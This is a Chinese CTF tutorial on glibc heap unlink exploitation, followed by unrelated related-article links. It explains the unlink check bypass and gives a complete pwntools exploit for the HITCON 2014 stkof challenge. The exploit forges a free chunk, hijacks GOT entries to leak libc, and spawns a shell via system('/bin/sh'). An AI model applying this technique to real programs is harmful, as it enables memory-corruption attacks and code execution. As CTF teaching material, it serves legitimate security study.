CTF PWN之heap入门 unlink

article/2025/9/14 6:48:18

环境

ubuntu20 + pwndbg + patchelf + glibc-all-in-one

为什么要用ubuntu不用kali,这里不做解释,总之就是自己在搭环境时出现了各种问题,但用ubuntu20不会出现,
pwndbg,打pwn题必备,具体安装过程见gdb与peda、pwngdb、pwndbg组合安装与使用

patchelf则可以实现动态更改二进制文件的glibc连接库版本,

glibc-all-in-one,提供了glibc常见版本。

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --set-rpath ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64 target_file

unlink

一句话unlink操作就是从一个双链表中取出一个结点的操作(这里就是在非fastbin中取chunk的操作),那么什么时候会触发unlink操作呢?即当free一个非fastbin大小的chunk时,当物理相邻的前后存在free状态的chunk时,会触发向前或向后合并的操作,而合并就涉及到将一个free的chunk从双链表(这里注意如果处于free状态的chunk是在fastbin中,不会触发合并,因为fastbin中的chunk的in_user位是一定置1的,而这里判断是否free是通过下一个chunk的in_user位来判断)中取出的操作,即unlink。

unlink可以实现什么样的效果

这里可以取查看gblic关于unlink的源码,这里就不做分析,简单过程为:

这里讨论的是64位的情况,32位道理一样。

P:为要取出的chunk指针(指向chunk头的)
修改P的fd位为:P - 0x18
修改P的bk位为:P - 0x10

在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P,这里就是利用的关键,因为这里一切的触发都是P,是通过来定位其前后节点,所有存在绕过方式,
即 (P - 0x18 +0x18==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。

unlink操作为:
P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10
P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18

所有执行完后就实现了 P = P - 0x18

单看这个效果好像没什么利用点,但是如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段呢?那么有意思的来了,我们就能得到一个bass地址mem = mem - 0x18,这在结合堆mem指针进行编辑的程序来实现bass段任意写入。

题目练习

2014 HITCON stkof
github链接
BUUCTF链接

checksec 检测


got表可写,canary found开启栈溢出困难,NX开启。

IDA参看分析:

程序存在 4 个功能,

sub_400936():用户输入要分配的内存空间大小,用malloc分配堆空间后将指针存储在bass段

sub_4009E8():向指定推块写入任意长度的字符 存在堆溢出

sub_400B07():free()

sub_400BA9():这里没有利用价值

明显程序将malloc()返回的指针保存在bass段,这考虑unlink,可以看到GLBC版本为2.2.5,满足unlink利用条件。

注意:在程序中没有看见setbuf()/setvbuf()函数,该函数作用为关闭I/O缓冲区,没有即程序在整个过程中I/O缓冲区一直没被释放,这对于我们来说是个好消息。

利用思路:

unlink的利用需要申请连续的chunk,为了方便我们先要让IO两个缓冲区都申请了,即程序执行至少以此IO输出,一次IO此输入(这里可以让程序执行一遍创建堆块的流程实现),后面再创建两个相邻的堆块,后面一个大小大于0x80,再前一个堆块里伪造一个释放状态的chunk,并利用堆溢出改写后一个chunk的P_size(伪造chunk的大小包括chunk头),和size(in_user为为0),然后free后面的chunk来触发前合并,从而进行unlink。在bass段存储chunk指针区获得一个 target = target -0x18 的地址。

本地搭建调试环境

利用patchelf + glibc-all-in-one切换该二进制文件的glibc版本
这里没有找打glibc2.25的版本,用2.23的也可以。

执行./download 2.23-0ubuntu11.3_amd64下载

切换glibc版本

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

ldd stkof 查看 成功切换

直接上exp

from pwn import *
context.log_level = 'debug'
stkof = ELF('./stkof')
#p = remote('node4.buuoj.cn',27198)
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/home/lusong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')head = 0x602140 #储存chunk指针的bass段数组开始地址0为空闲从1开始def alloc(size):p.sendline(b'1')p.sendline(str(size))p.recvuntil(b'OK\n')def edit(idx, size, content):p.sendline(b'2')p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(b'OK\n')def free(idx):p.sendline(b'3')p.sendline(str(idx))def exp():# 让程序走一遍,实现IO缓冲区分配alloc(0x100)  # idx 1alloc(0x20)  # idx 2alloc(0x80)  # idx 3#在2中伪造chunk并且溢出修改3的chunk头payload = p64(0)  #prev_sizepayload += p64(0x20)  #sizepayload += p64(head + 16 - 0x18)  #fdpayload += p64(head + 16 - 0x10)  #bk#溢出部分payload += p64(0x20)payload += p64(0x90)edit(2, len(payload), payload)# 释放3触发向前后合并,触发unlink,得到 head + 16 = head + 16 -0x18free(3)p.recvuntil('OK\n')# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload) #这里payload数据是写入了bass段# edit free@got to puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload)#实际上变成了 puts(puts_addr) 得到puts地址来计算libc基址free(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)p.send(p64(binsh_addr))p.interactive()if __name__ == "__main__":exp()

可以通过pwndbg来调试验证每部分exp的作用,这里就不做演示,代码已经很明确了。

转载于本人博客http://lusong.store/index.php/archives/154/icon-default.png?t=M85Bhttp://lusong.store/index.php/archives/154/


http://chatgpt.dhexx.cn/article/vReL5QUs.shtml

相关文章

NPM报错 Error: EPERM: operation not permitted, unlink......解决办法和清除缓存。

由于国内外环境因素,npm install安装依赖的时候经常会出现各种问题,特别是“Error: EPERM: operation not permitted, unlink…”这个错误。 在这里插入图片描述 这个错误因为报错信息的误导性,导致很多网上提出的解决办法都是什么设置权限…

vue 启项目报错Error: EPERM: operation not permitted, unlink

使用npm install安装依赖之后,有时候存在网络或其他问题安装不上个别依赖,其项目失败,报错 当启项目时报错:Error: EPERM: operation not permitted, unlink 此问题困扰好久,刚开始以为和其他人遇到的问题相似是因为管…

好好说话之unlink

堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 。可能做pwn的人都应该听过unlink,见面都要说声久仰久仰。学unlink的时候走了一些弯路,也是遇到了很多困扰的问题,会在后面的内容中做出标注。由于写的…

Unlink

Author:ZERO-A-ONEDate:2021-07-03 一、unlink的原理 简介:俗称脱链,就是将链表头处的free堆块unsorted bin中脱离出来然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或者向后合并),再…

unlink快速入门

0x01 正常unlink 当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。 …

Linux常用命令——unlink命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) unlink 系统调用函数unlink去删除指定的文件 补充说明 unlink命令用于系统调用函数unlink去删除指定的文件。和rm命令作用一样,都是删除文件。 语法 unlink(选项)(参数)选项 --help:…

element table表格,动态生成表头,基于可拖拽组件,拖动排序

效果展示 使用步骤 所需页面根据解释粘入 表格页面(父组件).txt 中代码&#xff0c; 引入dragList.vue组件 1.表格页面(父组件) <dragList radio"ssss" ></dragList> //引用子组件<el-tablev-if"asa":data"tableData"ro…

vue-draggable的多列拖动与拷贝拖拽(不删除源数据列)

vue-draggable的多列拖动与拷贝拖拽&#xff08;不删除源数据列&#xff09; Demo所用属性所遇困难源码 Demo 官方文档 录屏软件&#xff1a;screenToGif (将视频转为Gif&#xff0c;我认为简单又好操作) 我深知&#xff0c;文字的感知不如图片&#xff0c;图片的感知不如视频…

【JavaScript】列表拖拽升级,支持双击添加和时间轴左右拖动

TOC H5实现时间揍拖动 实现双击文件列表的项添加到时间揍的最后一条。 时间轴里可以左右拖动位置。 主要代码&#xff1a; /*** 时间轴拖动结束* param $event* constructor*/ const lineDragEnd ( $event ) > {console.log( 时间轴拖动结束 , $event )console.log(移动了,…

echarts拖拽echarts实现多条可拖动节点的折线图

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <script src="js/echarts/echarts.js"></script> <title>在指定位置画多个点</title> <style> …

html拖拽页面特效,div+css实现网页模块或栏目拖动(即拖拽效果)

//为Number增加一个属性,判断当前数据类型是否是数字 Number.prototype.NaN0function(){return isNaN(this)?0:this;} //全局变量 var iMouseDownfalse; var dragObjectnull; //获得鼠标的偏移量(对象2-对象1) function getMouseOffset(target,ev) { evev||window.event; var …

RecyclerView实现Item可拖拽(拖动、删除)

RecyclerView实现Item可拖拽&#xff08;拖动、删除&#xff09; 话不多说&#xff0c;先附上效果图&#xff1a; ItemTouchHelper 这是一个RecyclerView的工具&#xff0c;提供了drag & swipe 的功能&#xff0c;可以帮助我们处理RecyclerView中的Item的拖拽和滑动事件…

原生drag拖拽后元素过大,挡住其他可拖动位置无法拖动问题

写一个蒙层&#xff0c;还未拖动前原始层在上面&#xff0c; 拖动那过程中&#xff08;dragover&#xff09;原始层在下面&#xff0c; 拖进目标元素后&#xff08;drop&#xff09;&#xff0c;此时蒙层在上面&#xff0c;根据drop的$event获取落在蒙层哪个div上&#xff0c…

html5播放器禁止拖拽功能实例(教学内容禁止拖动观看)

html5播放器禁止拖拽功能实例&#xff08;常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看&#xff09; 实例1&#xff1a;参数开启后&#xff0c;视频教学内容或视频课件将不允许拖动进度条。 <div id"player"></div> <scr…

html5播放器禁止拖拽、视频禁止拖动的实例

阿酷TONY / 2023-3-8 / 长沙 html5播放器禁止拖拽功能,常用于场景&#xff1a;企业培训、在线教学内容禁止学员拖动视频进行观看。 应用代码实例&#xff1a; <div id"player"></div> <script src"//player.polyv.net/script/player.js">…

WPF TreeView拖动排序拖拽排列

底部附有Demo示例。需要的朋友可以去下载参考 一、图示 先上图&#xff0c;不知为啥&#xff0c;GIF总看起来特别卡&#xff0c;实际却很流畅。 由于录制问题&#xff0c;GIF动画只会播放一次&#xff0c;需要重复观看的&#xff0c;请将网页关闭后重新打开再观看 WPF的资料…

js原生拖拽的两种方法

一.mousedown、mousemove和mouseup 拖着目标元素在页面任意位置 如果要设置物体拖拽&#xff0c;那么必须使用三个事件&#xff0c;并且这三个事件的使用顺序不能颠倒。 1.onmousedown&#xff1a;鼠标按下事件 2.onmousemove&#xff1a;鼠标移动事件 3.onmouseup&#xff…

前端原生拖拽(drag drop)的一点小总结

新工作中&#xff0c;第一个手生的功能&#xff0c;遇到了很多诡异的问题&#xff0c;今天终于解惑了。最终原因还是对代码没有透彻的了解&#xff0c;jquery的运用也不熟练导致的。稍稍的记录一下。 原始功能 对项目列表中的元素进行拖拽&#xff0c;拖拽到一定的位置&#xf…

Vue2 _ 实现拖拽功能

老项目重构&#xff0c;其中有一些拖拽功能&#xff0c;不过用的是两个开源 JS 拖拽文件实现的效果&#xff0c;版本太老了&#xff0c;所以需要换代了&#xff0c;然后就查阅了能够用 Vue 来简单快速实现拖拽的功能实现方法 &#xff1a; 目录 一、HTML 拖放 二、Vue.Dragg…

vue2 使用 Sortable 库进行拖拽操作

一、vue 项目使用 文档地址&#xff1a; https://www.itxst.com/sortablejs/neuinffi.html 1、安装依赖 npm i -S vuedraggable2、.vue 文件引入组件 import draggable from "vuedraggable"; components: { draggable },3、.使用 查看文档中的示例即可&#xff…